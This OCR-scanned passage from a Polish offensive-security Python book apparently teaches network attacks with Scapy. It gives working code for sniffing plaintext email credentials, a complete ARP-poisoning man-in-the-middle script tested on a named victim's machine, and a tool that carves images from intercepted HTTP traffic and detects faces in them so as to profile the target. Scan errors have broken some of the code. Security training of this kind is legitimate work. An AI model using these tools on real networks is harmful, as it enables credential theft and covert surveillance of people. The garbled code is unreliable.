Host: 192.168.0.192

Host: 192.168.0.195

Wykonanie takiego szybkiego skanowania jak w przykladzie zajmuje zaled-
wie kilka sekund. Wiem, ze wynik jest poprawny, poniewaz poréwnalem otrzy-
mane adresy IP z tabela DHCP mojego domowego routera. Opisane w tym
rozdziale rozwigzania mozna fatwo rozszerzy¢ o dekodowanie pakietéw TCP i UDP
oraz dodatkowe udogodnienia. Ponadto skaner ten wykorzystamy w systemie
trojanowym, ktérego opis zaczyna sie w rozdziale 7. Dzieki niemu trojan bedzie
mogl przeskanowa¢ lokalng sie¢ w poszukiwaniu potencjalnych celow. Wiesz juz,
jak dzialajg sieci na wysokim i niskim poziomie, wiec mozesz pozna¢ bardzo
dojrzala biblioteke Pythona o nazwie Scapy.
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MODUL NETADDR

Nasz skaner wykorzystuje zewnetrzng biblioteke o nazwie netaddr, ktéra po-
zwala na podanie skanerowi maski podsieci, np. 792.768.0.0/24. Biblioteke te
mozna pobrac ze strony http://code.google.com/p/netaddr/downloads/list.

A jesli masz pakiet narzedzi instalacyjnych Pythona opisany w rozdziale 1.,
to mozesz po prostu wykonac ponizsze polecenie:

easy_install netaddr

Modut netaddr bardzo utatwia prace z podsieciami i adresowanie. Przy jego
uzyciu mozna na przyktad wykonywad proste testy, takie jak ponizszy z uzyciem
obiektu IPNetwork:

ip_address = "192.168.112.3"

if ip_address in IPNetwork("192.168.112.0/24"):
print True

Mozna tez tworzy¢ proste iteratory, aby na przyktad wysytaé pakiety do
catej sieci:

for ip in IPNetwork("192.168.112.1/24"):
s = socket.socket()
s.connect((ip, 25))
# wyslanie pakietow poczty

Opisywane narzedzie bardzo utatwia prace z catymi sieciami naraz i ideal-
nie spetnia nasze potrzeby dotyczace wykrywania hostéw. Wystarczy je zain-
stalowac i od razu jest gotowe do uzycia.
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Posiadanie sieci ze Scapy

NIEKTORE BIBLIOTEKI PYTHONA SA TAK DOBRZE ZAPROJEKTOWANE I NIE-
SAMOWICIE ZBUDOWANE, ZE NAWET POS\VIECENIE IM CALEGO ROZDZIALU NIE
JEST WYSTARCZAJACYM WYRAZEM UZNANIA DLA KUNSZTU AUTORA. ]EDNA Z NICH
jest biblioteka do szperania w pakietach o nazwie Scapy autorstwa Philippa
Biondi. Gdy skoficzysz czytaé ten rozdzial, pomyslisz, ze w poprzednich niepo-
trzebnie kazatem Ci sie przepracowywaé, poniewaz wiekszo$¢é opisanych w nich
czynno$ci mozna tatwiej wykonaé przy uzyciu Scapy. Biblioteka ta jest tak po-
tezna i elastyczna, ze jej mozliwosci sg prawie nieograniczone. Sposoby jej uzycia
przedstawie na przykladzie szperania w sieci w celu zdobycia danych poswiad-
czajacych tozsamosé z tekstowych wiadomosci e-mail, a nastepnie zainfekowania
przy uzyciu wiadomo$ci ARP maszyny docelowej, aby podgladaé jej ruch. Na
koniec pokaze Ci, jak wykorzysta¢ techniki przetwarzania plikow PCAP przy
uzyciu biblioteki Scapy w celu wydobycia obrazéw z ruchu HTTP i znalezienia
za pomocg algorytmu wykrywania twarzy tych, ktére zawierajg zdjecia ludzi.



Biblioteka Scapy zostala stworzona specjalnie dla systemu Linux, wiec najlepiej
uzywaé jej wlasnie w tym systemie operacyjnym. Wprawdzie najnowsza wersja
moze tez by¢ uzywana w systemie Windows', ale opisy w tym rozdziale dotycza
maszyny wirtualnej Kali z kompletng instalacjg biblioteki Scapy. Jesli jeszcze jej nie
zainstalowales, nadréb to, wchodzac na strone hittp:/www.secdev.orglprojects/scapy/.

Wykradanie danych poswiadczajacych
uzytkownika z wiadomosci e-mail

Wiesz juz co nieco na temat szperania w sieci za pomoca narzedzi napisanych
w jezyku Python. Skoro tak, to mozesz pozna¢ interfejs Scapy do szperania
w pakietach i podglgdania ich zawartosci. Zbudujemy bardzo prosty szperacz
do wydobywania informacji z pakietéw przesylanych przy uzyciu protokotéw
SMTE POP3 i IMAP. Pézniej polaczymy nasz szperacz z atakiem typu man in
the middle (MITM — z ang. ,.czlowiek w §rodku”), aby ukrasé dane poswiad-
czajace uzytkownikéw z innych maszyn podlaczonych do tej samej sieci. Tech-
nike te mozna oczywiscie zastosowaé w odniesieniu do dowolnego protokotu
albo po prostu w celu przechwycenia calego ruchu i zapisania go w pliku PCAP
do pézniejszej analizy (réwniez pokaze, jak to zrobid).

Przygode ze Scapy zaczniemy od utworzenia szkieletu szperacza, ktéry be-
dzie tylko przechwytywal i zapisywal pakiety. Ponizej znajduje sie kod funkcji
0 nazwie sniff:

sniff(filter="",iface="any",prn=function,count=N)

Parametr filter stuzy do okreslania filtru BPF (w stylu Wiresharka) do fil-
trowania pakietow. Brak wartosci oznacza, Ze interesujg nas wszystkie pakiety.
Na przyklad aby tropi¢ pakiety HTTE, nalezaloby zastosowaé filtr tcp port 80.
Parametr iface okre§la, w ktérym interfejsie sieciowym chcemy szperaé. Brak
warto$ci oznacza wszystkie interfejsy. Parametr prn okresla funkcje zwrotna,
ktéra ma byé wywolywana dla kazdego pakietu przepuszczonego przez filtr.
Obiekty pakietéw do tej funkcji sg przekazywane przez jej jedyny parametr.
Parametr count okre§la, jakg liczbe pakietéw chcemy wytropi¢. Brak wartosci
oznacza szperanie bez kofica.

Jak napisalem, na poczatek utworzymy prosty szperacz tropigcy pakiet i za-
pisujacy jego zawarto$é. Pézniej zmodyfikujemy go tak, aby tropit tylko infor-
macje zwigzane z poczty elektroniczng. Otworz plik mail_sniffer.py i wpisz w nim
ponizszy kod:

U http:/www.secdev.orglprojects/scapy/doc/installation. html#windows.
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from scapy.all import *

# funkcja zwrotna do przetwarzania pakietéw
def packet _callback(packet):
print packet.show()

# uruchomienie szperacza
sniff(prn=packet_callback,count=1)

Najpierw zdefiniowalismy funkcje zwrotna, ktérej bedg przekazywane wy-
tropione pakiety @, a nastepnie nakazaliémy bibliotece Scapy rozpoczecie tro-
pienia @ na wszystkich interfejsach i bez stosowania jakiegokolwiek filtru. Po
uruchomieniu tego skryptu powinno sie otrzymaé nastepujacy wynik:

$ python2.7 mail_sniffer.py
WARNING: No route found for IPv6 destination :: (no default route?)
###[ Ethernet ]###

dst = 10:40:f3:ab:71:02
src = 00:18:e7:ff:5c:f8
type = 0x800
###[ 1P J#4#
version = 4L
ihl = 5L
tos = 0x0
len = 52
id = 35232
flags = DF
frag = 0L
ttl = 51
proto = tcp
chksum = 0Ox4ab1
src = 195.91.239.8
dst = 192.168.0.198
\options \
###[ TCP ]###
sport = etlservicemgr
dport = 54000
seq = 4154787032
ack = 2619128538

dataofs = 8L
reserved = OL

flags =A

window = 330

chksum = 0x80a2

urgptr =0

options = [('NOP', None), ('NOP', None), ('Timestamp', (1960913461,
>764897985))]

None
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Alez to bylo tatwe! Jak wida¢, gdy tylko przez sieé zostat przestany pierwszy
pakiet, nasza funkcja zwrotna wyswietlita jego zawartos¢ za pomoca wbudowanej
funkceji packet.show() i pobrata pewne informacje dotyczace protokotu. Funkcja
show() jest bardzo pomocna przy debugowaniu skryptéw, poniewaz pozwala
sprawdzaé na biezaco, czy przechwytywane sg odpowiednie informacje.

Teraz rozszerzymy nasz podstawowy szperacz o filtr i dodamy do funkcji
zwrotnej logike pobierajgca z wiadomosci e-mail fragmenty tekstu reprezentu-
jace dane uwierzytelniajace.

from scapy.all import *

# funkcja zwrotna do przetwarzania pakietéw
def packet callback(packet):

(1] if packet[TCP].payload:
mail_packet = str(packet[TCP].payload)
(2] if "user" in mail_packet.lower() or "pass" in mail_packet.Tower():

print "[*] Serwer: %s" % packet[IP].dst
(3] print "[*] %s" % packet[TCP].payload

# uruchomienie szperacza
O sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=packet_
“>callback,store=0)

Jest to kolejny bardzo prosty program. Do funkcji sniff dodalismy filtr prze-
puszezajacy tylko ruch przechodzacy przez typowe porty pocztowe 110 (POP3),
143 (IMAP) oraz SMTP (25) @. Ponadto uzyliSmy nowego parametru o nazwie
store, ktérego warto$¢ 0 sprawia, ze Scapy nie zapisuje pakietéw w pamieci.
Ustawienie go na zero jest dobrym pomystem, gdy planuje sie uruchomié¢ szpe-
racz na dlugi czas, aby nie zaja¢ zbyt duzej ilosci pamieci RAM. W funkgji zwrot-
nej sprawdzamy, czy zostaly przekazane dane @ oraz czy znajduja sie w nich ty-
powe polecenia poczty USER i PASS @. Jesli wykryjemy taricuch uwierzytelniania,
drukujemy adres serwera oraz nazwe uzytkownika i hasto ©.

Czy to w ogdle dziata

Ponizej znajduje sie przykladowy wynik dla wymyslonego konta e-mail, z ktérym
prébowalem sie polaczy¢ przy uzyciu klienta poczty:

[*] Serwer: 25.57.168.12
[*] USER jms

[*] Serwer: 25.57.168.12
[*] PASS justin

[*] Serwer: 25.57.168.12
[*] USER jms

[*] Serwer: 25.57.168.12
[*] PASS test
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Jak widaé, méj klient poczty probowal zalogowaé sie na serwerze o adresie
25.57.168.12 i wyslaé¢ niezaszyfrowane dane uwierzytelniajace. Jest to bardzo
prosty przyklad wykorzystania skryptu szperajacego Scapy jako przydatnego na-
rzedzia do wykonywania testéw penetracyjnych.

Tropienie wlasnego ruchu to niezla zabawa, ale jeszcze fajniej jest wytropic¢
znajomego. Zatem teraz wykonamy atak infekcji ARP w celu wytropienia ruchu
maszyny docelowej znajdujacej sie w tej same;j sieci.

Atak ARP cache poisoning
przy uzyciu biblioteki Scapy

Atak typu ARP cache poisoning to jedna z najstarszych i najefektywniejszych
sztuczek hakerskich. Najprosciej méwiac, przekonamy komputer docelowy, ze je-
ste$Smy jego bramag, a brame, ze caly ruch przeznaczony dla komputera docelo-
wego musi przesylaé przez nas. Kazdy komputer w sieci ma bufor ARP z ostat-
nimi adresami MAC pasujacymi do adreséw IP w sieci lokalnej. Naszym celem
jest zainfekowanie tego bufora elementami bedacymi pod naszg kontrola. Po-
niewaz opisy protokolu ARP (ang. Address Resolution Protocol) i techniki infe-
kowania ARP mozna znalezé w wielu innych materiatach, w celu doglebnego
zrozumienia zasady dzialania tego rodzaju atakéw na niskim poziomie odsytam
do innych publikacji.

Skoro wiemy juz, co mamy robié¢, mozemy wzia¢ sie do pracy. W ramach te-
stéw wykonalem atak na prawdziwy komputer z systemem Windows przy uzyciu
maszyny wirtualnej Kali. Ponadto przeprowadzitem testy na r6znych urzadze-
niach przeno$nych podtaczonych do punktu dostepowego do sieci bezprzewo-
dowej. Wszystko dzialalo idealnie. Pierwsza czynnoscig bedzie sprawdzenie bufora
ARP na docelowym komputerze z systemem Windows. Ponizej pokazuje, jak
zbada¢ bufor ARP w maszynie wirtualnej z Windowsem.

C:\Users\Clare> ipconfig
Konfiguracja IP systemu Windows
Karta bezprzewodowej sieci LAN Potaczenie sieci bezprzewodowej:

Sufiks DNS konkretnego potgczenia : gateway.pace.com
Adres IPv6 potaczenia Tokalnego . : fe80::34a0:48cd:579:a3d9%11

Adres IPv4., . . . . . . . . . .. :172.16.1.71
Maska podsieci. . . . . . . . . . : 255.255.255.0
(1] Brama domy$lna. . . . . . . . . . : 172.16.1.254

C:\Users\Clare> arp -a

Interfejs: 172.16.1.71 --- 0Oxb
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Adres internetowy Adres fizyczny Typ

® 172.16.1.254 3c-ea-4f-2b-41-9 dynamiczne
172.16.1.255 ff-ff-ff-ff-ff-ff statyczne
224.0.0.22 01-00-5e-00-00-16 statyczne
224.0.0.251 01-00-5e-00-00-fb statyczne
224.0.0.252 01-00-5e-00-00-fc statyczne
255.255.255.255 ff-ff-ff-ff-ff-ff statyczne

Jak widac, adres IP bramy @ to 172.16.1.254, a zwigzany z nig wpis w buforze
ARP @ ma adres MAC 3c-ea-4f-2b-41-f9. Zanotujemy te informacje, poniewaz
chcemy widzie¢ bufor ARP podczas trwania ataku i dowiedzie¢ sie, czy zmieni-
lismy zarejestrowany adres MAC bramy. Znajac brame i adres IP celu, mozemy
napisaé¢ kod skryptu do wykonania infekcji ARP. Utwérz nowy plik Pythona, na-
zwij go arper.py i wpisz w nim ponizszy kod:

from scapy.all import *
import os

import sys

import threading

import signal

interface = "enl"

target_ip = "172.16.1.71"
gateway ip = "172.16.1.254"
packet_count = 1000

# ustawienie interfejsu
conf.iface = interface

# wylgczenie wynikow
conf.verb = 0

n oo

print "[*] Konfiguracja interfejsu %s" % interface

© gateway_mac = get_mac(gateway_ip)

if gateway mac is None:
print "[!!!] Nie udato sie pobraé adresu MAC bramy. Kofczenie."
sys.exit(0)

else:
print "[*] Brama %s jest pod adresem %s" % (gateway ip,gateway mac)

® target mac = get mac(target_ip)

if target_mac is None:
print "[!!1] Nie udato sie pobrac¢ adresu MAC celu. Kofczenie."
sys.exit(0)
else:
print "[*] Komputer docelowy %s jest pod adresem %s" % (target ip,target mac)
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# uruchomienie wqtku infekujgcego

poison_thread = threading.Thread(target = poison_target, args =
> (gateway_ip, gateway mac,target ip,target mac))
poison_thread.start()

try:
print "[*] Uruchamianie szperacza dla %d pakietow" % packet_count

bpf_filter = "ip host %s" % target_ip
packets = sniff(count=packet count,filter=bpf filter,iface=interface)

# drukowanie przechwyconych pakietow
wrpcap('arper.pcap',packets)

# przywrdcenie sieci
restore_target(gateway_ip,gateway mac,target ip,target mac)

except KeyboardInterrupt:
# przywrdcenie sieci
restore_target (gateway_i p,gateway_mac,target_i p,target_mac)
sys.exit(0)

Jest to najwazniejsza cze$é naszego programu. Najpierw za pomocg funkcji
get_mac, ktérg zaraz dodamy, okres§lamy adresy MAC odpowiadajace adresom
bramy @ i komputera docelowego @. Potem tworzymy nowy watek do prze-
prowadzenia ataku infekcji ARP ©. W watku gléwnym uruchamiamy szperacz
O przechwytujacy ustawiong liczbe pakietéw przy uzyciu filtru BPF przepusz-
czajacego tylko ruch dla naszego docelowego adresu IR Po przechwyceniu wszyst-
kich pakietéw drukujemy je @ w pliku PCAP, aby mdéc je otworzy¢ w Wireshar-
ku albo przekazaé¢ do skryptu wykrywajgcego obrazy, ktéry napiszemy péznie;.
Po zakoriczeniu ataku wywolujemy funkcje restore_target @, ktéra przywraca
normalny sposéb dzialania sieci, taki jak przed atakiem. Teraz dodamy brakujace
funkcje. Wpisz ponizszy kod na poczatku utworzonego wezesniej pliku:

def restore target(gateway ip,gateway mac,target ip,target mac):

# nieco inna metoda z wykorzystaniem funkcji send

print "[*] Przywracanie stanu pierwotnego..."

send (ARP(op=2, psrc=gateway_ip, pdst=target ip,
Shwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway mac),count=5)
send (ARP(op=2, psrc=target ip, pdst=gateway ip,
Shwdst="ff:ff:ff: ff:ff:ff" hwsrc=target_mac),count=5)

# Sygnalizuje wqtkowi gléwnemu, ze ma zakoriczyc dziatanie
os.kill(os.getpid(), signal.SIGINT)

def get mac(ip_address):

responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_
>address),timeout=2,retry=10)
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# Zwraca adres MAC z odpowiedzi
for s,r in responses:
return r[Ether].src

return None
def po1'son_tar‘get(gateway_ip,gateway_mac,target_ip,target_mac):
(4] poison_target = ARP()
poison_target.op =
poison_target.psrc = gateway_ip

poison_target.pdst = target_ip
poison_target.hwdst= target_mac

(
2

(5} poison_gateway = ARP()
poison_gateway.op =
poison_gateway.psrc = target_ip
poison_gateway.pdst = gateway ip

poison_gateway.hwdst= gateway mac

n N~

print "[*] Rozpoczynanie infekowania ARP. [CTRL+C, aby zatrzymac]"

(6] while True:
try:
send(poison_target)
send(poison_gateway)

time.sleep(2)
except KeyboardInterrupt:
restore_target (gateway_1' p,gateway mac,target ip, target_mac)

print "[*] Atak zakoficzony."
return

To jest najwazniejsza cze$¢ naszego skryptu. Funkcja restore_target wysyla
na adres transmisji w sieci lokalnej @ odpowiednie pakiety ARP, aby zresetowaé
bufory ARP bramy i komputeréw docelowych. Ponadto wysylamy sygnal watkowi
gléwnemu @, aby zakoniczyl dziatanie, co moze byé¢ przydatne, gdy watek ten
napotka jakie§ problemy albo uzytkownik naci$nie klawisze Cirl+C. Funkcja
get_mac wykorzystuje funkcje srp ® do wystania zadania ARP na okreslony ad-
res IP w celu zdobycia zwigzanego z nim adresu MAC. Funkcja poison_target
tworzy zadania ARP do zainfekowania zar6wno adresu IP komputera docelowe-
go @, jak i bramy ©. Dzieki temu mozemy ogladaé¢ ruch przechodzacy przez
nasz cel. Zadania te wysylamy @ przy uzyciu petli, aby zapewnié¢ zatrucie od-
powiednich wpiséw w buforze ARP przez caly czas trwania ataku.

Wezmy tego drania na przejazdzke.
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Czy to w ogdle dziata

Zanim zaczniemy, musimy poinformowaé naszego lokalnego hosta, ze mozemy
przekazywaé pakiety na adresy bramy domyslnej i TP naszego komputera do-
celowego. Jesli uzywasz maszyny wirtualnej Kali, wykonaj w konsoli ponizsze
polecenie:

#:> echo 1 > /proc/sys/net/ipv4/ip_forward

Jesli natomiast jeste$ fanem produktéw firmy Apple, to uzyj nastepujacego
polecenia:

fanboy:tmp justin$ sudo sysctl -w net.inet.ip.forwarding=1

Po skonfigurowaniu przekazywania IP mozemy uruchomié skrypt i sprawdzié
bufor ARP komputera docelowego. Na komputerze, z ktérego bedzie przepro-
wadzany atak, wykonaj nastepujace polecenie (jako root):

fanboy:tmp justin$ sudo python2.7 arper.py

WARNING: No route found for IPv6 destination :: (no default route?)
[*] Setting up enl

[*] Brama 172.16.1.254 jest pod adresem 3c:ea:4f:2b:41:19

[*] Komputer docelowy 172.16.1.71 jest pod adresem 00:22:5f:ec:38:3d
[*] Rozpoczynanie infekcji ARP. [CTRL+C, aby zatrzymac]

[*] Uruchamianie szperacza dla 1000 pakietéw

Wspaniale! Zadnych bledéw ani innych dziwadel. Teraz sprawdzimy, czy
atak sie udal na komputerze docelowym:

C:\Users\Clare> arp -a
Interfejs: 172.16.1.71 --- Oxb
Adres internetowy Adres fizyczny Typ

172.16.1.64 10-40-f3-ab-71-02 dynamiczne
172.16.1.254 10-40-f3-ab-71-02 dynamiczne
172.16.1.255 ff-ff-ff-ff-ff-ff statyczne
224.0.0.22 01-00-5e-00-00-16 statyczne
224.0.0.251 01-00-5e-00-00-fb statyczne
224.0.0.252 01-00-5e-00-00-fc statyczne
255.255.255.255 ff-ff-ff-ff-ff-ff statyczne

Jak wida¢, bufor ARP w komputerze biednej Clare (nietatwo by¢ Zzong hake-
ra, hakowanie to nie spacerek itd.) zostal zainfekowany, przez co adres MAC
bramy jest taki sam jak adres MAC komputera atakujacego. W powyzszych da-
nych bez trudu mozna znalezé brame, z ktérej dokonuje ataku — 172.16.1.64.
Po zakoriczeniu przechwytywania pakietéw przez skrypt atakujacy w katalogu,
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w ktérym znajduje sie ten skrypt, powinien pojawié sie plik o nazwie arper.pcap.
Oczywiscie w razie potrzeby mozna na przyktad zmusié komputer docelowy do
przekazywania catego ruchu przez lokalng instancje programu Burp albo wielu
innych niecnych czynéw. Wspomniany plik PCAP mozesz zatrzyma¢ do nastep-
nego podrozdzialu — kto wie, co w nim znajdziesz.

Przetwarzanie pliku PCAP

Doskonalymi narzedziami do przegladania plikéw z przechwyconymi pakietami
sa na przyklad Wireshark i Network Miner, ale czasami do ich przetwarzania
trzeba tez uzy¢ Pythona i biblioteki Scapy. Do przyktadowych przypadkéw uzy-
cia zaliczajg sie generowanie testéw fuzzingowych na podstawie przechwyconego
ruchu sieciowego czy tak proste czynnosci jak odtworzenie tego ruchu.

Tym razem zastosujemy nieco odmienne podejscie i sprébujemy wydoby¢
obrazy graficzne z ruchu HTTP. Nastepnie przy uzyciu biblioteki OpenCV?,
stuzacej do obrébki obrazu, sprobujemy wykryé obrazy zawierajace ludzkie twarze,
aby znalezé te grafiki, ktére moga byé do czego$§ przydatne. Do wygenerowania
plikow PCAP mozemy wykorzysta¢ poprzedni skrypt do infekowania ARPE, ale
réwnie dobrze mozemy tez rozszerzyé¢ szperacz, aby wykrywal twarze na obra-
zach na biezaco. Zaczniemy od napisania kodu do analizowania plikéw PCAP.
Utworz plik pic_carver.py i wpisz do niego ponizszy kod:

import re
import z1ib
import cv2

from scapy.all import *

pictures_directory = "/home/justin/pic_carver/pictures
faces_directory = "/home/justin/pic_carver/faces"
pcap_file = "bhp.pcap"

def http_assembler(pcap file):

carved_images = 0
faces_detected = 0

a = rdpcap(pcap_file)
sessions = a.sessions()
for session in sessions:

http_payload =

% Adres strony internetowej biblioteki OpenCV: http://www.opencuv.org/.
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for packet in sessions[session]:

try:
if packet[TCP].dport == 80 or packet[TCP].sport == 80:

# zloZenie strumienia z powrotem
http_payload += str(packet[TCP].payload)

except:
pass

headers = get http_headers(http_payload)

if headers is None:
continue

image,image_type = extract_image(headers,http payload)
if image is not None and image type is not None:
# zapisanie obrazu

file_name = "%s-pic_carver_%d.%s
“>image_type)

% (pcap_file,carved_images,

fd = open("%s/%s" % pictures_directory,file_name),"wb")
fd.write(image)
fd.close()

carved_images += 1

# wykrywanie twarzy

try:
result = face detect("%s/%s" % (pictures_directory,file_
>name) ,file_name)

if result is True:
faces_detected += 1
except:
pass

return carved_images, faces_detected

carved images, faces detected = http_assembler(pcap file)

print "Wydobyto: %d obrazow" % carved_images
print "Wykryto: %d twarzy" % faces_detected

Jest to gléwny szkielet naszego skryptu, do ktérego zaraz dodamy jeszcze funk-
cje pomocnicze. Najpierw otwieramy plik PCAP do przetworzenia @. Wykorzy-
stujemy wspanialg ceche biblioteki Scapy pozwalajaca automatycznie wydzielié
kazdg sesje TCP do stownika @. Wykorzystujemy to i filtrujemy tylko ruch HTTP,
a nastepnie laczymy dane catego ruchu HTTP ©® w jeden bufor. Czynnosci te
sg réwnoznaczne z kliknieciem w programie Wireshark prawym przyciskiem
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myszy i wybraniem opcji Follow TCP Stream (SledZ strumiefi TCP). Po zlozeniu
danych HTTP przekazujemy je do funkcji przetwarzajacej naglowki HTTP @,
ktéra umozliwia przegladanie pojedynczych nagléwkéw. Potem sprawdzamy,
czy w odpowiedzi HTTP otrzymujemy obraz, pobieramy surowe dane graficzne @,
a nastepnie zwracamy typ obrazu i jego dane w formacie binarnym. Nie jest to
idealna procedura wydobywania obrazéw, ale jak widaé, dziata zaskakujaco dobrze.
Zapisujemy wydobyty obraz @ i przekazujemy Sciezke do pliku do procedury
wykrywajacej twarze @.

Teraz dodamy funkcje pomocnicze. Wpisz ponizszy kod nad funkcjg http_
“>assembler

def get_http_headers(http payload):
try:

# oddzielenie naglowkéw z ruchu HTTP
headers_raw = http _payload[:http payload.index("\r\n\r\n")+2]

# rozbicie nagléwkow
headers = dict(re.findall(r"(?P<name>.*?): (?P<value>.*?)\r\n", headers raw))
except:

return None

if "Content-Type" not in headers:
return None

return headers
def extract_image(headers,http_payload):

image = None
image_type = None

try:
if "image" in headers['Content-Type']:

# pobranie informacji o typie obrazu i jego zawartosci
image_type = headers['Content-Type'].split("/")[1]

image = http_payload[http_payload.index("\r\n\r\n")+4:]

# Jesli obraz jest skompresowany, dekompresujemy go
try:
if "Content-Encoding" in headers.keys():
if headers['Content-Encoding'] == "gzip":
image = zlib.decompress(image, 16+z1ib.MAX WBITS)
elif headers['Content-Encoding'] == "deflate":
image = z1ib.decompress(image)
except:
pass
except:
return None,None

return image,image_type
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Dzieki tym funkcjom dokladnie przyjrzymy sie danym HTTP pobranym
z pliku PCAP. Funkcja get_http_headers pobiera surowy ruch HTTP i przy uzy-
ciu wyrazenia regularnego wydobywa z niego nagtéwki. Funkcja extract_image
pobiera nagtéwki HTP i sprawdza, czy w odpowiedzi HTTP otrzymalismy jakis
obraz. Jesli w nagléwku Content-Type wykryje graficzny typ MIME, sprawdza
typ obrazu. A jesli obraz jest skompresowany, prébujemy go zdekompresowaé
przed zwr6ceniem typu i surowego bufora. Teraz mozemy dodaé algorytm wy-
krywania twarzy, ktéry pozwoli nam sprawdzié, czy na ktérej§ z przechwyconych
grafik znajduje sie ludzka twarz. Dodaj ponizszy kod do pliku pic_carver.py:

def face detect(path,file_name):

img = cv2.imread(path)

cascade = cv2.CascadeClassifier("haarcascade frontalface alt.xml")
rects = cascade.detectMultiScale(img, 1.3, 4, cv2.cv.CV_HAAR SCALE_
>IMAGE, (20,20))

if len(rects) ==
return False

rects[:, 2:] += rects[:, :2]

# Wyrdznia twarze na obrazie
for x1,yl,x2,y2 in rects:
cv2.rectangle(img, (x1,y1),(x2,y2),(127,255,0),2)

cv2.imwrite("%s/%s-%s" % (faces_directory,pcap_file,file_name),img)

return True

Powyzszy kod zostal zaczerpniety z drobnymi modyfikacjami ze strony
hitp:/lwww.fideloper.com/facial-detection/ i zostal wykorzystany dzieki uprzej-
mosci Chrisa Fidao. Przy uzyciu narzedzi z biblioteki OpenCV odczytujemy ob-
raz @ i stosujemy klasyfikator @, ktéry zostal wyszkolony w wykrywaniu twarzy
skierowanych na wprost ekranu. Istnieja tez klasyfikatory do wykrywania twarzy
z profilu, rak, owoc6éw i wielu innych rodzajéw obiektéw. Jesli chcesz, mozesz je
wyprébowaé. Uruchomiony wykrywacz zwraca wspélrzedne prostokata obejmu-
jacego miejsce wykrycia twarzy na obrazie. Przy ich uzyciu rysujemy zielony pro-
stokat © i drukujemy otrzymany obraz @. Czas wyprébowaé nasz produkt w ma-
szynie wirtualnej Kali.

Czy to w ogdle dziata
Jesli jeszeze nie zainstalowale§ biblioteki OpenCV, wykonaj ponizsze polecenia

(za ktore réwniez dziekuje Chrisowi Fidao) w konsoli w maszynie wirtualnej Kali:

#:> apt-get install python-opencv python-numpy python-scipy
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Powinny zosta¢ zainstalowane wszystkie pliki potrzebne do wykrywania twa-
rzy w zdobytych obrazach. Dodatkowo trzeba jeszcze pobraé plik szkoleniowy
dotyczacy wykrywania twarzy:

wget http://eclecti.cc/files/2008/03/haarcascade_frontalface alt.xml

Teraz utworzymy dwa katalogi na wyniki, dorzucimy plik PCAP i uruchomimy
skrypt. Powinno to wygladaé¢ mniej wiecej tak:

#:> mkdir pictures

#:> mkdir faces

#:> python pic_carver.py
Extracted: 189 images
Detected: 32 faces

#:>

Biblioteka OpenCV moze zwrécié¢ kilka btedéw spowodowanych tym, ze
niektére przekazywane do obrébki obrazy moga by¢ uszkodzone lub pobrane
tylko czesciowo albo by¢ w nieobstugiwanym formacie. (Budowe solidnego me-
chanizmu wydobywania i sprawdzania obrazéw pozostawiam jako zadanie do-
mowe). W katalogu faces powinno znalez¢ sie kilka plikow graficznych z twarzami
oznaczonymi zielonymi ramkami.

Przy uzyciu tej techniki mozna dowiedzie¢ sie, jaka tresé przeglada uzyt-
kownik komputera docelowego, jak réwniez wykry¢ mozliwosci nawigzania
kontaktu przy uzyciu socjotechniki. Oczywiscie przedstawiony program mozna
rozszerzy¢ o wiele innych funkeji i wykorzystaé go w polaczeniu z technikami
indeksowania i analizy stron internetowych opisanymi w dalszych rozdzialach.
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Hakowanie
aplikacji sieciowych

UMIEJETNOgé ANALIZOWANIA APLIKACJI SIECIOWYCH JEST ABSOLUTNIE NIEZBEDNA
KAZDEMU HAKEROWI 1 SPECJALISCIE WYKONUJACEMU TESTY PENETRACYJNE.
w VVIEKSZOSCI NOWOCZESNYCH SIECI APLIKACJE SIECIOWE STANOWIA NAJWIEKSZY
cel ataku, w zwigzku z czym najczesciej padajg tez ofiarami hakeréw. W Pytho-
nie napisano kilka $wietnych narzedzi do analizowania aplikacji sieciowych, np.
w3af, sqlmap i wiele innych. M6wigc szczerze, takie tematy jak SQL injection
zostaly przewatkowane juz tyle razy, a narzedzia ich dotyczace osiagnety juz taki
stopien dojrzalosci, ze nie musze opisywaé ich po raz kolejny. Zamiast tego sku-
pie sie na podstawach pracy z aplikacjami sieciowymi przy uzyciu Pythona,
a nastepnie na podstawie tych wiadomosci pokaze, jak utworzyé narzedzia roz-
poznawcze i stosujace techniki sitowe. Dowiesz sie, jak wykorzysta¢ analizatory
sktadni kodu HTML do tworzenia narzedzi stosujacych techniki sitowe i narze-
dzi rozpoznawczych oraz wydobywania informacji ze stron zawierajacych duzo
tekstu. Krétko méwiac, przedstawiam budowe kilku réznych narzedzi, aby
przekaza¢ Ci podstawowg wiedze potrzebna do budowy wszystkich typéw na-
rzedzi do analizy aplikacji sieciowych.



Internetowa biblioteka gniazd urllib2
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Tak jak do tworzenia narzedzi sieciowych przy uzyciu biblioteki gniazd, przy
tworzeniu narzedzi do pracy z uslugami sieciowymi uzyjemy biblioteki url1ib2.
Sprawdzmy, jak utworzyé bardzo proste zadanie GET do strony internetowe;j
No Starch Press:

import urllib2
body = urllib2.urlopen("http://www.nostarch.com")

print body.read()

Jest to najprostszy przyklad wysltania zadania GET do strony internetowe;.
Pobieramy w nim tylko surowa strone No Starch Press i nie wykonujemy zad-
nych skryptéw JavaScript ani innych. Przekazalismy adres URL do funkcji
urlopen @, ktéra zwricita podobny do pliku obiekt umozliwiajacy odczytanie
tresci tego, co zwrdcit serwer. Ale w wiekszosci przypadkéw potrzebna jest pre-
cyzyjniejsza kontrola nad sposobem wykonywania zadan. Dobrze jest mieé
mozliwosé definiowania nagléwkow, obstugiwania ciasteczek oraz tworzenia za-
dani POST. Wszystko to zapewnia klasa Request biblioteki ur11ib2. Ponizej znaj-
duje sie przyklad utworzenia zadania GET przy uzyciu klasy Request oraz definicji
nagtéwka HTTP User-Agent:

import urllib2
url = "http://www.nostarch.com"

headers = {}
headers['User-Agent'] = "Googlebot"

request = urllib2.Request(url,headers=headers)
response = urllib2.urlopen(request)

print response.read()
response.close()

W tym przykladzie tworzymy obiekt Request w nieco inny sposéb niz po-
przednio. Do tworzenia wlasnych nagléwkow zdefiniowalismy stownik @, w kto-
rym mozemy podawaé potrzebne nam klucze i warto$ci. W tym przypadku spra-
wimy, Ze nasz skrypt bedzie podszywat sie pod robota Google. Nastepnie tworzymy
obiekt klasy Request, przekazujac do konstruktora zmienne url i headers @. Potem
utworzony obiekt przekazujemy do funkcji urlopen ®. Zwraca ona normalny
